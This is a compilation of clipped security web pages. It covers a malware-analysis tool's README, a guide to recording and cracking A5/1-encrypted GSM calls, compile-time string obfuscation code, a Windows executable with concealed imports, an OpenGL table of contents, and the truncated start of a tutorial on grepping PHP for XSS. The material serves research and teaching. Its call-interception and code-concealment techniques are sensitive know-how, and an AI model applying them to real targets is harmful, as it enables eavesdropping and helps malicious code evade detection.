Thank you for helping us to make Google's products more secure. We look
forward to issuing our first reward in this new program.

20 comments Permalink Links to this post

# MalwareLu/malwasm

**Created:**| _9/4/2017 9:41:34 AM_  
---|---  
**Updated:**| _9/4/2017 9:41:34 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

[code]

      _ __ ___   __ _| |_      ____ _ ___ _ __ ___  
     | '_ ` _ \ / _` | \ \ /\ / / _` / __| '_ ` _ \ 
     | | | | | | (_| | |\ V  V / (_| \__ \ | | | | |
     |_| |_| |_|\__,_|_| \_/\_/ \__,_|___/_| |_| |_|
    
[/code]

# Folders

  * ` conf/malwasm.conf ` \- is the configuration file for malwasm
  * ` core/ ` \- contains malwasm python lib
  * ` cuckoo/ ` \- contains the cuckoo package that needs to be copied in your cuckoo install folder
  * ` doc/ ` \- contains some doc
  * ` pin/ ` \- contains the malwpin dll source code and makefile
  * ` utils/ ` \- contains scripts to run analysis and data insertion 
    * ` create_db.py ` \- script to force the creation of the database \(usefull to reset the db\)
    * ` file2db.py ` \- script to insert sample data into the db
    * ` db2file.py ` \- script to extract sample data from the db
    * ` submit.py ` \- all in one script, to submit sample to cuckoo and insert data into malwasm db
  * ` web/ ` \- contains the webservice python script 
    * ` malwasm_web.py ` \- the webservice listening on http://127.0.0.1:5000

# Installation

## Dependencies

  * python2.7
  * python-psycopg2
  * python-argparse
  * python-flask
  * python-progressbar
  * cuckoo
  * postgresql
  * pintool

## To install python dependencies

\*` sudo apt-get install python-psycopg2 python-flask python-progressbar
python-argparse ` or \*` pip install psycopg2 flask progressbar argparse `

## Pintool

Pintool cannot be put directly inside malwasm due to licence issue. You have
to download it by yourself.

  * http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.12-53271-msvc10-ia32\_intel64-windows.zip

Once downloaded you have to extract all the .dll and .exe files of the
subfolder

  * ` /pin-2.12-53271-msvc10-windows/ia32/bin/ ` to the folder:
  * ` malwasm/cuckoo/analyzer/windows/bin `

## Cuckoo part

  * You need to have cuckoo correctly set up
  * You have to copy files from ` malwasm/cuckoo/analyzer/windows/ ` into your cuckoo installation in the subfolder ` cuckoo/analyzer/windows/ `
  * Your cuckoo VM needs to have a share folder with write permission on it
  * Update cuckoo section of ` conf/malwasm.conf ` to match your configuration
  * Run ` cuckoo.py `

## Database

  * Run your postgresql database
  * The current config in ` conf/malwasm.conf ` works with an out of box config of postgresql
  * WARNING: if you want to use the create\_db scripts, you have to use the default postgres account otherwise you can use the schema available in ` conf/schema.sql `

## Run analysis

  * You can directly run a sample analysis with ` utils/submit.py `

[code]

    # standard analysis of the a binary
    utils/submit.py malware/r.exe
    
    # only start record instruction when it pass on adr-start and stop on adr-stop
    utils/submit.py --options adr-start=0x401290,adr-stop=0x401384 malware/r.exe
    
[/code]

  * If data insertion into malwasm db failed you can re run the insertion with

[code]

    utils/file2db -d /tmp/data/13508268572/ # where /tmp/data is the share folder
    
    utils/file2db -d /tmp/data/13508268572/  --pin-param foo # where /tmp/data is the share folder
    
[/code]

  * If you want to clean the database you can use

[code]

    utils/create_db.py --force
    
[/code]

  * PS: data insertion can take some serious time, so just be patient\!

## Webservice

  * To see the report you have to run the webservice

[code]

    web/malwasm_web.py
    
[/code]

  * Go to http://127.0.0.1:5000 and select your sample

  

# Decrypting GSM phone calls | Security Research Labs
**Created:**| _12/19/2013 1:33:22 PM_  
---|---  
**Updated:**| _12/30/2013 1:39:49 PM_  
**Author:**| __  
**Tags:**| _gsm sdr_  
  

# Decrypting GSM phone calls** **

**Motivation**.**** GSM telephony is the world’s most popular communication
technology spanning most countries and connecting over four billion
devices**.** The security standards for voice and text messaging date back to
1990 and have never been overhauled**.** Our _GSM Security Project_ creates
tools to test and document vulnerabilities in GSM networks around the world so
to ignite the discussion over whether GSM calls can and should be secured**.**
The project is summarized in this BlackHat 2010 presentation **.**

**Recording calls.** GSM data can be recorded off the air using, for example,
a programmable radio such as the USRP**.** GnuRadio provides the tools to
record channels while Airprobe’s gsm-receiver decodes the control traffic
and—in scenarios where no encryption is used or where the encryption key is
known—also decodes voice traffic**.**

**Cracking A5/1.** When GSM uses A5/1 encryption, the secret key can be
extracted from recorded traffic**.** Given two encrypted known plaintext
messages, the Kraken utility that runs on a PC finds the secret key with
around 90% probability within seconds in a set of rainbow tables**.** Our
current table set took 2 months to compute and contains 40 tables for a total
of 2TB**.** Further details on cracking A5/1 using rainbow tables are provided
in this white paper: Attacking Phone Privacy **.**

**Defenses.** Short term protocol patches already exists that make cracking
much harder by not disclosing known plaintext unnecessarily \(3GPP TS44**.**
006 , Section 5.2\). These patched should be deployed with high priority**.**
In the long term, GSM \(2G\) will not provide sufficient security and stronger
alternatives such as UMTS \(3G\) and LTE \(4G\) should be preferred**.**

**Tools.** The following tools are used to analyze voice calls

<img src='img/Temp2_2044.png' />

  * GnuRadio is included in recent Linux distributions  
Recording data requires a programmable radio receiver such as the USRP

  * Airprobe is available through:  git clone git://git.gnumonks.org/airprobe.git  
Please follow this tutorial to decode GSM traffic with Airprobe

  * Kraken is available through:  git clone git://git.srlabs**.** de/kraken.git  
Background on Kraken’s rainbow tables are provided on the project web page  
Kraken uses rainbow tables that are available through Bittorrent **.**

Please use these tools carefully and never intentionally record other people’s
conversations**.** We do encourage you to use them to test the security of
your cell phone service and discuss your results on the project mailing list
**.**

** **

# Learning Modern 3D Graphics Programming

**Created:**| _10/24/2011 11:24:14 AM_  
---|---  
**Updated:**| _10/24/2011 11:24:14 AM_  
**Author:**| __  
**Tags:**| _Tutorials awesome Opengl_  
  

# Learning Modern 3D Graphics Programming

### Jason L. McKesson

Copyright © 2011 Jason L. McKesson

* * *
**Table of Contents**

About this Book

    
Why Read This Book?

What You Need

Organization of This Book

Conventions used in This Book

Building the Tutorials

I. The Basics

    
Introduction

1\. Hello, Triangle\!

2\. Playing with Colors

II. Positioning

    
3\. OpenGL's Moving Triangle

4\. Objects at Rest

5\. Objects in Depth

6\. Objects in Motion

7\. World in Motion

8\. Getting Oriented

III. Illumination

    
9\. Lights On

10\. Plane Lights

11\. Shinies

12\. Dynamic Range

13\. Lies and Impostors

IV. Texturing

    
14\. Textures are not Pictures

15\. Many Images

V. Framebuffer

VI. Advanced Lighting

A. History of PC Graphics Hardware

    
Voodoo Magic

Dynamite Combiners

Vertices and Registers

Programming at Last

Dependency

Modern Unification

B. Getting Started with OpenGL

    
Tutorial Framework

Necessary Tools

**List of Figures**

1\. Position Vectors

2\. Direction Vectors

3\. Vector Addition

4\. Vector Addition Head-to-Tail

5\. Vector Negation

6\. Vector Subtraction

7\. Vector Scaling

8\. An Image

9\. Normalized Device Coordinate Space

10\. Scan Converted Triangle

11\. Shared Edge Scan Conversion

1.1. Data Flow to Vertex Shader

1.2. Data Flow to Rasterizer

2.1. Fragment Position

2.2. Vertex Array Memory Map

2.3. Multiple Vertex Attributes

2.4. Interpolated Vertex Colors

4.1. Triangle Winding Order

4.2. Orthographic Prism

4.3. 2D to 1D Orthographic Projection

4.4. 2D to 1D Perspective Projection

4.5. Viewing Frustum

4.6. 2D to 1D Perspective Projection Diagram

4.7. Camera to NDC Transformation in 2D

4.8. Perspective Prism

4.9. Perspective Matrix

4.10. Bad Aspect Ratio

4.11. Widescreen Aspect Ratio Frustum

5.1. Overlapping Objects

5.2. Three Overlapping Triangles

5.3. Depth Buffering

5.4. Mild Overlap

5.5. Major Overlap

5.6. Triangle Clipping

5.7. Near Plane Clipping

5.8. Depth Clamping

5.9. Depth Clamp With Overlap

6.1. Two 2D Coordinate Systems

6.2. Coordinate System Translation in 2D

6.3. Translation Project

6.4. Coordinate System Scaling in 2D

6.5. Scale Project

6.6. Coordinate Rotation in 2D

6.7. Rotation Project

6.8. Transform Order Diagram

6.9. Hierarchy Project

7.1. Full Vertex Transformation Pipeline

7.2. World Space Scene

7.3. Spherical Coordinates

7.4. Triangle Fan

7.5. Triangle Strip

7.6. Triangle Strips with Winding Order

7.7. Uniform Buffer and Block Binding Points

8.1. Gimbal Lock Project

8.2. Parallel Gimbals

8.3. Quaternion YPR Project

8.4. Camera Relative Project

8.5. Interpolation Directions

9.1. Surface Light Absorption

9.2. Perpendicular Light

9.3. Light at an Angle

9.4. Diffuse Reflectance

9.5. Near and Far Lights

9.6. Basic Lighting

9.7. Circle Scaling

9.8. Circle Scaling with Normals

9.9. Lighting and Scale

9.10. Half Lit

9.11. Ambient Lighting

10.1. Vertex Point Lighting

10.2. Light Near Surface

10.3. Triangle Interpolation

10.4. Triangle Edge Interpolation

10.5. Two Triangle Quadrilateral

10.6. Two Triangle Interpolation

10.7. Fragment Point Lighting

10.8. Close Lit Cylinder

10.9. Adjacent Gradient

10.10. Gradient Intensity Plot

10.11. High Light

10.12. Fragment Attenuation

11.1. Perfect Specular Reflection

11.2. Smooth and Rough Microfacets

11.3. Phong Lighting

11.4. Phong with Dark Diffuse

11.5. Phong Clipping

11.6. Phong Distortion

11.7. Large View and Reflect Angle

11.8. Geometric Half-Angle Vector

11.9. Perfect Reflection Half-Angle Vector

11.10. Blinn Lighting

11.11. Blinn vs. Phong Lighting

11.12. Light Edge

11.13. Improved Light Edge

11.14. Gaussian Probability Distribution Curves

11.15. Gaussian with Sharp Highlight

12.1. Scene Lighting

12.2. Darkness, Day vs. Night

12.3. Light Clipping

12.4. HDR Lighting

12.5. Gamma Function Graph

12.6. Gamma Correction

12.7. Gamma Lighting

12.8. Gamma Shadow Details

13.1. Basic Impostor

13.2. Circle Point Computation

13.3. Bad Impostor

13.4. Circle Projection

13.5. Bad vs. Good

13.6. Bad Intersection

13.7. Depth Correct Impostor

14.1. Basic Texture

14.2. Texture Binding and Context

14.3. Sampler Binding and Context

14.4. Projection and Interpolation

14.5. Perspective Correct Interpolation

14.6. Material Texture

14.7. A Torus

14.8. Surface smudges

15.1. Basic Checkerboard Plane

15.2. Jagged Texture Edge

15.3. Nearest Sampling

15.4. Linear Filtering

15.5. Large Minification Sampling

15.6. Mipmapped Minification Sampling

15.7. Hallway with Mipmapping

15.8. Hallway with Special Texture

15.9. Linear Mipmap Linear Comparison

15.10. Main Diagonal

15.11. Long Fragment Area

15.12. Long Fragment with Sample Area

15.13. Parallelogram Sample Area

15.14. Anisotropic Filtering

15.15. Max Anisotropic Filtering

**List of Tables**

6.1. Hierarchy Tutorial Key Commands

7.1. World Space Controls

10.1. Transform Legend

12.1. Scene Lighting Values

13.1. Sphere Impostor Control Key Map

**List of Examples**

1\. OpenGL Object State

1.1. The `display` Function

1.2. Buffer Object Initialization

1.3. Vertex Shader

1.4. Reshaping Window

1.5. Fragment Shader

1.6. Program Initialization

1.7. Shader Creation

1.8. Program Creation

2.1. FragPosition's Fragment Shader

2.2. New Vertex Array Data

2.3. Buffer Object Initialization

2.4. Rendering the Scene

2.5. Vertex Arrays

2.6. Draw Arrays Implementation

2.7. Multi-input Vertex Shader

2.8. Fragment Shader with Input

3.1. Computation of Position Offsets

3.2. Adjusting the Vertex Data

3.3. Updating and Drawing the Vertex Data

3.4. Offsetting Vertex Shader

3.5. Draw with Calculated Offsets

3.6. Offset Computing Vertex Shader

3.7. Rendering with Time

3.8. Loop Duration Setting

3.9. Time-based Fragment Shader

3.10. More Shader Creation

4.1. Face Culling Initialization

4.2. ManualPerspective Vertex Shader

4.3. Program Initialization

4.4. MatrixPerspective Vertex Shader

4.5. Program Initialization of Perspective Matrix

4.6. Square-only Viewport

4.7. Reshape with Aspect Ratio

5.1. Draw Arrays Implementation

5.2. Draw Elements Implementation

5.3. VAO Initialization

5.4. VAO and Indexed Rendering Code

5.5. Vertex Attribute Data Abridged

5.6. Array Drawing of Two Objects with One VAO

5.7. MultiObject Element Buffer

5.8. Base Vertex Single VAO

5.9. Base Vertex Rendering

5.10. Depth Buffer Setup

5.11. Depth Buffer Clearing

5.12. Depth Clamping On/Off

6.1. Translation Shader Initialization

6.2. Frustum Scale Computation

6.3. Translation Matrix Generation

6.4. Rotation Transformation Building

6.5. Hierarchy::Draw

7.1. Window Resizing

7.2. Position-only Vertex Shader

7.3. Upload World to Camera Matrix

7.4. Spherical to Euclidean Transform

7.5. Draw the Ground

7.6. DrawForest Function

7.7. Call to DrawParthenon

7.8. Draw Camera Target

7.9. Cylinder Mesh File

7.10. UBO-based Vertex Shader

7.11. Uniform Buffer Creation

7.12. UBO-based Perspective Matrix

7.13. UBO-based Camera Matrix

7.14. Viewing Point with UBO

8.1. Gimbal Lock Display Code

8.2. Quaternion YPR Display

8.3. OffsetOrientation Function

8.4. Camera Relative OffsetOrientation

8.5. Quaternion Linear Interpolation

8.6. Spherical Linear Interpolation

9.1. Display Camera Code

9.2. Ground Plane Lighting

9.3. Cylinder Lighting

9.4. Lighting Vertex Shader

9.5. Lighting with Proper Normal Transform

9.6. Ambient Vertex Lighting

9.7. Lighting Intensity Settings

10.1. Per-Vertex Point Light Rendering

10.2. Per-Vertex Point Light Vertex Shader

10.3. Initial Per-Fragment Rendering

10.4. Ground Plane Per-Fragment Rendering

10.5. Model Space Per-Vertex Lighting Vertex Shader

10.6. Model Space Per-Fragment Lighting Vertex Shader

10.7. Per-Fragment Lighting Fragment Shader

10.8. Light Attenuation Fragment Shader Definitions

10.9. Window to Camera Space Function

10.10. Light Intensity Application Function

10.11. Main Light Attenuation

11.1. Phong Lighting Shader

11.2. Blinn-Phong Lighting Shader

11.3. Gaussian Lighting Shader

12.1. Material Uniform Block

12.2. Material UBO Construction

12.3. Daytime Lighting

12.4. Light Uniform Block

12.5. Many Lights Main Function

12.6. HDR LightBlock

12.7. Gamma LightBlock

12.8. Fragment Gamma Correction

13.1. Basic Impostor Vertex Shader

13.2. Basic Impostor Fragment Shader

13.3. Ray Traced Impostor Square

13.4. Depth Correct Fragment Shader

13.5. Impostor Geometry Creation

13.6. Vertex Shader for Points

13.7. Geometry Shader Definitions

13.8. Geometry Shader Vertex Computation

13.9. Fragment Shader Changes

14.1. BuildGaussianData function

14.2. CreateGaussianTexture function

14.3. Shader Texture Access

14.4. Sampler Object Creation

14.5. BuildGaussianData in 2D

14.6. CreateGaussianTexture in 2D

14.7. CreateShininessTexture function

14.8. Shininess Texture Access

14.9. Gaussian Texture with Specular

15.1. DDS Texture Loading with Mipmaps

15.2. Special Texture Data

B.1. Solution Premake Build Script

B.2. Tutorial Premake Build Script

**List of Equations**

1\. Vector Addition with Numbers

2\. Vector Negation

3\. Vector Multiplication

4\. Vector-Scalar Multiplication

5\. Vector-Scalar Addition

6\. Vector Algebra

7\. Vector Length

8\. Vector Normalization

4.1. Perspective Computation

4.2. Depth Computation

4.3. Camera to Clip Equations

4.4. Camera to Clip Expanded Equations

4.5. Camera to Clip Matrix Transformation

4.6. Vector Matrix Multiplication

5.1. Perspective Computation

6.1. Coordinate System

6.2. Identity Matrix

6.3. Translation Matrix

6.4. Scaling Transformation Matrix

6.5. Vectorized Matrix Multiplication

6.6. Axial Rotation Matrices

6.7. Angle/Axis Rotation Matrix

6.8. Order of Transformation

8.1. Angle/Axis to Quaternion

8.2. Quaternion Multiplication

8.3. Quaternion to Matrix

9.1. Diffuse Lighting Equation

9.2. Dot Product

9.3. Dot Product from Vector Math

9.4. Matrix Transpose

10.1. Physical Light Attenuation

10.2. Light Attenuation Inverse

10.3. Camera to Window Transforms

10.4. Window to Camera Transforms

11.1. Phong Specular Term

11.2. Vector Reflection

11.3. Half-Angle Vector

11.4. Blinn Specular Term

11.5. Gaussian Distribution Function

11.6. Gaussian Specular Term

12.1. Display Gamma Function

12.2. Gamma Correction Function

13.1. Ray Equation

13.2. Sphere Equation

14.1. Gaussian as Function of One Variable

* * *
|  |  Next  
---|---|---  
|  | 

# Compile-time String Encryption with C++0x | The Raptor Factor
**Created:**| _4/21/2011 10:23:00 AM_  
---|---  
**Updated:**| _4/21/2011 10:23:00 AM_  
**Author:**| __  
**Tags:**| _c++0x_  
  

## Compile-time String Encryption with C++0x

August 18th, 2010 raptorfactor Leave a comment Go to comments

Time for more C++0x fun\! Because you’re not always going to be able to
operate only on hashes of strings \(often you need to be able to manipulate
your strings at runtime\), my compile time string hashing code may be
insufficient at times. This is when compile-time string encryption comes into
play \(Note: This is only a proof of concept so the words ‘encryption’ and
‘decryption’ are used VERY loosely. In this context ‘encryption’ really just
means obfuscation, however it’s definitely possible to improve the algorithm
to add actual encryption.\). Implemented using variadic templates \(I know,
again… But they’re so useful\!\), so you will need a compiler which supports
this feature.

Proof of concept code provided below. See the comments for some extra
information.

Source code| <img src='img/Temp2_1558.png' /> <img src='img/Temp2_1556.png' />
<img src='img/Temp2_1557.png' />  
---|---
[code]

    // Compile-time string 'encryption' example.
    // By RaptorFactor.
    // http://www.raptorfactor.com/compile-time-string-encryption-with-c0x/
    // Thanks to 'Motti' and 'Georg Fritzsche' on StackOverflow for their help.
    // Note: Using the same algoirthm Guy uses in the macro-based solution he
    // posted on GD. (Linked below, split over two lines.)
    // http://forum.gamedeception.net/threads/19561-C(-)-compile-time-string-
    // encryption-library-no-custom-build-step-needed!
    // Note: A better implementation would use 'constexpr', but at the time of
    // writing there are no compilers which support this feature.
    // Note: A better implementation would be implemented using a more complex
    // algorithm (e.g. using the result of the previous operation as the seed
    // for the next xor), however I'm unsure how to implement such a solution
    // at the moment.
     
    // C++ Standard Library
    #include <string>
    #include <iostream>
    #include <algorithm>
     
    // Decrypt character
    template <typename CharT>
    CharT DecryptChar(CharT c)
    {
      return (((c - 1) ^ 0x55) ^ 0x12);
    }
     
    // Decrypt string at runtime
    template <typename CharT>
    std::basic_string<CharT> DecryptString(CharT const* const pEncrypted,
      std::size_t Length)
    {
      std::basic_string<CharT> Decrypted;
      std::transform(pEncrypted, pEncrypted + Length,
        std::back_inserter(Decrypted), DecryptChar<CharT>);
     
      return Decrypted;
    }
     
    // Encrypt string at compile-time
    template <typename T, T... Chars>
    struct EncryptChars
    {
      // Encrypt single character
      template <T C>
      struct EncryptChar
      {
        static char const Value = (((C ^ 0x12) ^ 0x55) + 1);
      };
     
      // Length of string
      static std::size_t const Length = sizeof...(Chars);
     
      // Encrypted string
      static T const Value[Length + 1];
    };
     
    // Encrypted string
    template <typename T, T... Chars>
    T const EncryptChars<T, Chars...>::Value[EncryptChars<T, Chars...>::
      Length + 1] =
    {
      EncryptChar<Chars>::Value...
    };
     
    // Entry point
    int main(int argc, char* argv[])
    {
      // Debug output
      std::wcout << "Compile-time encryption test." << std::endl;
     
      // Perform tests
      typedef EncryptChars<char, 'T','e','s','t','i','n','g'> TestingEncA;
      std::cout << "'Testing' (Narrow, Encryption): " << TestingEncA::Value <<
        std::endl;
      std::cout << "'Testing' (Narrow, Decryption): " << DecryptString(
        TestingEncA::Value, TestingEncA::Length) << std::endl;
      typedef EncryptChars<wchar_t, L'T',L'e',L's',L't',L'i',L'n',L'g'>
      TestingEncW;
      std::wcout << "'Testing' (Wide, Encryption): " << TestingEncW::Value <<
        std::endl;
      std::wcout << "'Testing' (Wide, Decryption): " << DecryptString(
        TestingEncW::Value, TestingEncW::Length) << std::en
[/code]

# Notes - gynvael.coldwind//vx

**Created:**| _10/30/2012 10:38:47 AM_  
---|---  
**Updated:**| _10/30/2012 10:38:47 AM_  
**Author:**| __  
**Tags:**| _windows environment pe_  
  

PE with no imports \(aka Windows version by ret addr\) back to the list ↑ |   
---|---  
A long time ago \(in 2006\) I experimented with an idea to create a working
program \(PE exe\) with no imports whatsoever. The idea based on the fact that
at least two DLL modules are always in memory - kernel32.dll and ntdll.dll
\(on Windows 7 there is also kernelbase.dll afair, and I think there is no
ntdll.dll on Windows 98\).  
  
<img src='img/Temp2_5619.png' />  
  
The question was - how to find the DLLs in memory and how to find the
functions themselves. Well, if you've done some low level coding you probably
know that there is a commonly used method to walk the loaded module list
pointed to by TEB→PEB→list. However, I decided to use a different approach
\(that is actually way worse then the aforementioned method, but well, there
is no shame in experimenting with random ideas, even poor ones\).  
  
The idea was to correlate **return address found on the stack at main image
\(exe\) entry point** \(the one that points to the return of the process
loading/initializing procedure\) with **the address of LoadLibrary** and **the
address of GetProdAddress**. Please note, that these were times before ASLR on
Windows, so it was a little easier.  
  
So I created a small app that gathered this data and send it to my friends to
get the addresses from the versions of Windows that they had. Here's the
results I've got \(most of the columns are easy to deduce; COUNT is the number
of samples I've got with this result\):  
  
`RET LOADLIB GETPROC COUNT VERSION  
77E4F38C 77E4850D 77E42DFB 1 5.2.3790  
77E7EB69 77E805D8 77E7A5FD 4 5.1.2600  
77E8141A 77E7D8B4 77E7B285 1 5.1.2600 Service Pack 1  
77E814C7 77E7D961 77E7B332 4 5.1.2600 Dodatek Service Pack. 1  
77E87903 77E98023 77E9564B 1 5.0. ??? bug?  
77E962B6 77E8DF64 77E8D2D3 1 5.1.2600  
77E97D08 77E8A254 77E89AC1 1 5.0.2195 Dodatek Service Pack. 2  
793487F5 793505CF 7934E6A9 1 5.0.2195 Service Pack 4  
7C816D4F 7C801D77 7C80AC28 8 5.1.2600 Dodatek Service Pack 2  
BFF8B537 BFF776D4 BFF76DAC 1 4.10.1998  
BFF8B560 BFF776D0 BFF76DA8 5 4.10.2222 A`  
So a couple of things can be spotted right away:  
  
1\. Even the same exact version \(as in the "VERSION" column above\) of the OS
can have different results, e.g.:  
  
`77E7EB69 77E805D8 77E7A5FD 4 5.1.2600  
77E962B6 77E8DF64 77E8D2D3 1 5.1.2600`  
This is because of individual patches that don't change the OS version.  
  
2\. The language version of the OS also has an impact here. E.g. there are to
5.1.2600 SP1 entries in the table, one for English version of the OS, and one
for Polish:  
  
`77E8141A 77E7D8B4 77E7B285 1 5.1.2600 Service Pack 1  
77E814C7 77E7D961 77E7B332 4 5.1.2600 Dodatek Service Pack. 1`  
So, to sum up the results:  
\- It's doable for a limited amount of OSes.  
\- If one would want the table to cover even one major version of Windows, he
would have a hard time gathering the data \(languages \* patches \* service
packs \* perhaps types of Windows, like "Ultimate" and "Home"\).  
  
**UPDATE** : Ange Albertini has derived a similar method, but based on DLL
timestamp instead of the return address. Pretty clever. Take a look here if
you're interested.  

### Appendix: Executable with "concealed" imports

Download \(source + exe\): conceal\_pe.zip \(don't expect this to run on your
OS; the table was gathered in 2006 and is very limited\)  
  
Source:  
  
`  
#define NULL 0  
typedef unsigned int addr;  
typedef unsigned int uint32_t;  
typedef unsigned int uint16_t;  
  
int load_imports(addr hash);  
  
int  
WinMainCRTStartup(void)  
{  
addr kernel_ret = NULL;  
  
// get kernel_ret  
asm volatile(  
"movl 4(%%ebp), %%eax\n\t"  
"movl %%eax, %0"  
: "=g"(kernel_ret));  
  
if( load_imports(kernel_ret) != 0 )  
return 1;  
  
return 0;  
}  
  
void my_strcpy(char *where, const char *what)  
{  
while((*where = *what) != '\0') what++, where++;  
}  
  
void my_strcat(char *where, const char *what)  
{  
while(*where != '\0') where++;  
while((*where = *what) != '\0') what++, where++;  
}  
  
int load_imports(addr hash)  
{  
addr kernel32_instance = NULL;  
addr user32_instance = NULL;  
__stdcall addr (*GetProcAddress)(addr,const char*);  
__stdcall addr (*LoadLibraryA)(const char*);  
__stdcall addr (*MessageBoxA)(addr, const char*, const char*, uint32_t);  
char info[256];  
  
  
static struct {  
addr hash;  
addr loadlib;  
addr getproc;  
const char *version;  
} *p, addr_table[] = {  
{ 0x77E4F38C, 0x77E4850D, 0x77E42DFB, "5.2.3790" },  
{ 0x77E7EB69, 0x77E805D8, 0x77E7A5FD, "5.1.2600" },  
{ 0x77E8141A, 0x77E7D8B4, 0x77E7B285, "5.1.2600 Service Pack 1" },  
{ 0x77E814C7, 0x77E7D961, 0x77E7B332, "5.1.2600 Dodatek Service Pack. 1" },  
{ 0x77E87903, 0x77E98023, 0x77E9564B, "5.0.????" },  
{ 0x77E962B6, 0x77E8DF64, 0x77E8D2D3, "5.1.2600" },  
{ 0x77E97D08, 0x77E8A254, 0x77E89AC1, "5.0.2195 Dodatek Service Pack. 2" },  
{ 0x793487F5, 0x793505CF, 0x7934E6A9, "5.0.2195 Service Pack 4" },  
{ 0x7C816D4F, 0x7C801D77, 0x7C80AC28, "5.1.2600 Dodatek Service Pack 2" },  
{ 0xBFF8B537, 0xBFF776D4, 0xBFF76DAC, "4.10.1998" },  
{ 0xBFF8B560, 0xBFF776D0, 0xBFF76DA8, "4.10.2222 A" },  
{ NULL, NULL, NULL, NULL }  
};  
  
/* get addresses */  
for(p = addr_table; p->hash; p++)  
{  
if(p->hash == hash)  
{  
LoadLibraryA = (void*)p->loadlib;  
GetProcAddress = (void*)p->getproc;  
break;  
}  
}  
  
if(p->hash == NULL)  
return -1;  
  
/* load lib */  
//LoadLibraryA = (void*)GetProcAddress(kernel32_instance, "LoadLibraryA");  
user32_instance = LoadLibraryA("user32.dll");  
MessageBoxA = (void*)GetProcAddress(user32_instance, "MessageBoxA");  
  
my_strcpy(info, "Import concealment r&d by Gynvael Coldwind of Vexillium.\n"  
"Detected windows version ");  
my_strcat(info, p->version);  
  
MessageBoxA(0, info, "Import concealment", 0);  
  
return 0;  
}  
  
`  
【 design & art by Xa / Gynvael Coldwind 】 【 logo font \(birdman regular\) by
utopiafonts / Dale Harris 】

# nt-schablone-gr.jpg-9b1097ffa9dce45b.jpeg 750 × 1000 Pixel

**Created:**| _1/8/2011 3:27:26 PM_  
---|---  
**Updated:**| _1/8/2011 3:27:40 PM_  
**Author:**| __  
**Tags:**| _Hacks privacy_  
  
<img src='img/Temp2_10498.jpg' />

# Finding Security Vulnerabilities in PHP Using Grep | InfoSec Resources
**Created:**| _4/3/2011 2:35:42 PM_  
---|---  
**Updated:**| _4/3/2011 2:35:59 PM_  
**Author:**| __  
**Tags:**| _php bughunting_  
  

## Finding Security Vulnerabilities in PHP Using Grep

March 29th, 2011|By: rdewhurst|Topics: |No Comments

**Description:** Using grep to find common web application vulnerabilities
within your applications.

**Introduction  
**  
It is a common misconception that companies need to purchase complicated and
expensive software to find security vulnerabilities \(bugs\) within their
applications. These specialized software applications, whether they be black-
box or white-box, open-source or commercial, do make the process of finding
security vulnerabilities easier and in some cases quicker.

The truth is, all of these specialized vulnerability scanning tools have their
particular strengths and weaknesses. Some may be ASP centric whereas others
more geared towards PHP. The development team may have taken the decision to
limit requests in order to improve speed, they may not check for
vulnerabilities which they deem unworthy to be reported. If you want to find
as many security vulnerabilities as possible within a certain timeframe you
need to use all of the tools at your disposal.

No one vulnerability scanner or technique is going to find 100% of the
vulnerabilities which may affect your web application. Even if you use every
tool and technique at your disposal, and buy it cupcakes, software is never
perfect.

Within this article I will introduce you to one more way you can hunt down
those bugs by just using the command line tool, grep.

**Black Box / White Box  
**  
Let’s take a step back and clarify the white/grey/black box concept. A black-
box assessment is where you have no prior knowledge of the
application/network/company you are assessing. A white-box assessment is
completely the opposite. You may have any information that you require to make
your job easier. This may include network ranges, source-code, phone numbers,
etc. A grey-box assessment is somewhere in between. In reality, most
assessments are grey-box assessments. It is rare you either have no prior
knowledge or all the knowledge you need.

Grepping for bugs would be classed as a white-box assessment or ‘source code
review’. A web application vulnerability scanner such as Netsparker, Nikto,
Acunetix or w3af \(the list goes on\) would be classed as black-box tools as
they \(in most cases\) will not have access to any server side source-code.

If you want to find as many security vulnerabilities as possible, a mixture of
black-box web application assessment tools/techniques and a white-box source
code review should be employed.

**Grep  
**  
If you are reading this article I would imagine you are familiar with the
basic concepts of the grep tool. However if you are not, here is a brief
introduction to such a powerful utility.

Grep was created by Ken Thompson and released in 1973 to be used as a UNIX
search utility that uses regular expressions to match lines in files. Most, if
not all \*nix based operating systems today will come with grep pre-installed.

On a \*nix operating system we can use the command ‘man grep’ to view the
tools’ extensive functionality. Or alternatively we can use the command ‘grep
–help’ for a list of switches and their usage.

<img src='img/Temp2_3179.png' />  
For this article I have used GNU grep version 2.5.4. If you are running an
older version of GNU grep some of the commands in this article may not work.
To check your version of GNU grep use the command ‘grep –V’.

<img src='img/Temp2_3178.png' />

**Damn Vulnerable Web Application \(DVWA\)  
**  
DVWA is a purposely vulnerable open-source web application I originally
developed while at university to teach myself web application security. Since
then it has grown with the help of many talented individuals which range from
web developers to security professionals from around the world.

The DVWA LiveCD will be perfect for practicing grepping for bugs as it is
developed in PHP, it is open-source, easy to set-up and, if I do say so
myself, pretty awesome.

The LiveCD or the stand alone files can be downloaded from the official DVWA
homepage located at:http://www.dvwa.co.uk

If you have opted for the LiveCD version, either burn it to CD and boot it in
a spare machine on your local network, or, the easier method is to boot the
LiveCD ISO within virtualization software such as the open-source Virtualbox
available from: http://www.virtualbox.org

Once you have set-up DVWA within Virtualbox and booted from it, you should be
able to connect to it via your preferred browser.

<img src='img/Temp2_3177.png' />  
As we are grepping, the server side PHP source code we will need to ssh to the
DVWA LiveCD. To do this the command is ‘sudo ssh dvwa@192.168.1.107′ followed
by the password ‘password’. \(NOTE: The IP address in the SSH command depends
on what IP your DHCP server has assigned to the DVWA LiveCD.\)

<img src='img/Temp2_3175.png' />  
From here we ‘cd’ to the DVWA LiveCD web server root directory located at
‘/opt/lampp/htdocs’.

<img src='img/Temp2_3191.png' />  
**Grepping for Cross-Site Scripting \(XSS\)  
**  
For a brief description of XSS I will use the one from the Open Web
Application Security Project \(OWASP\), “XSS flaws occur whenever an
application takes untrusted data and sends it to a web browser without proper
validation and escaping. XSS allows attackers to execute scripts in the
victim’s browser which can hijack user sessions, deface web sites, or redirect
the user to malicious sites.”  _\(Top 10 2010-Main,
http://www.owasp.org/index.php/Top\_10\_2010-Main\)  
_  
To identify XSS within PHP we need to identify lines within the codebase where
user supplied input is output back to the user without first being validated
or properly encoded.

In PHP user supplied input is mostly handled by either $\_GET, $\_POST,
$\_COOKIE, or $\_REQUEST. However user supplied input can also be handled with
$\_FILES, $\_SERVER and others.

Let’s start by looking for user supplied input via HTTP GET requests. To do
this we will use grep combined with a couple of flags and a regular
expression.

The command we will use to search for user supplied input is:  _grep -i -r
